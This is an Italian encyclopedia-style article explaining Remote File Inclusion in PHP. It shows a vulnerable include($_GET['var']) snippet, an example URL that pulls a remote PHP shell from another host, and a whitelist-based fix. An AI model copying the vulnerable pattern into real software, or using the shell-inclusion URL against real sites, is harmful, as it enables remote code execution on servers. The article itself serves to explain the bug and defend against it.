Remote File Inclusion

Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità che affligge i servizi web con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili GET e POST del PHP. La vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata.

Codice vulnerabile modifica

Questo è un semplice esempio di un codice vulnerabile:

  <?php 
  $var = $_GET['var']; 
  include ($var);
  ?>

con una conoscenza anche limitata del PHP è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'URL) a piacere si può vedere in azione il bug.

http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it

in questo caso la variabile var assume il valore dell'URL immesso e nella pagina sarà inclusa la index di miositoincluso.it

Come funziona l'attacco modifica

Se c'è la possibilità di un'inclusione arbitrale di codice PHP un cracker può includere una shell in PHP

http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt

da notare che la pagina da includere non deve essere in PHP (perché altrimenti viene incluso solo l'output HTML generato della pagina e non il codice vero e proprio).

Come difendersi modifica

In genere quando si deve includere una pagina esterna nella propria applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine, e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.

http://miosito.it/index.php?var=1

poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito. Esempio:

<?php
 $var = $_GET['var'];
 if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
 elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
 else die('tentativo di intrusione');
?>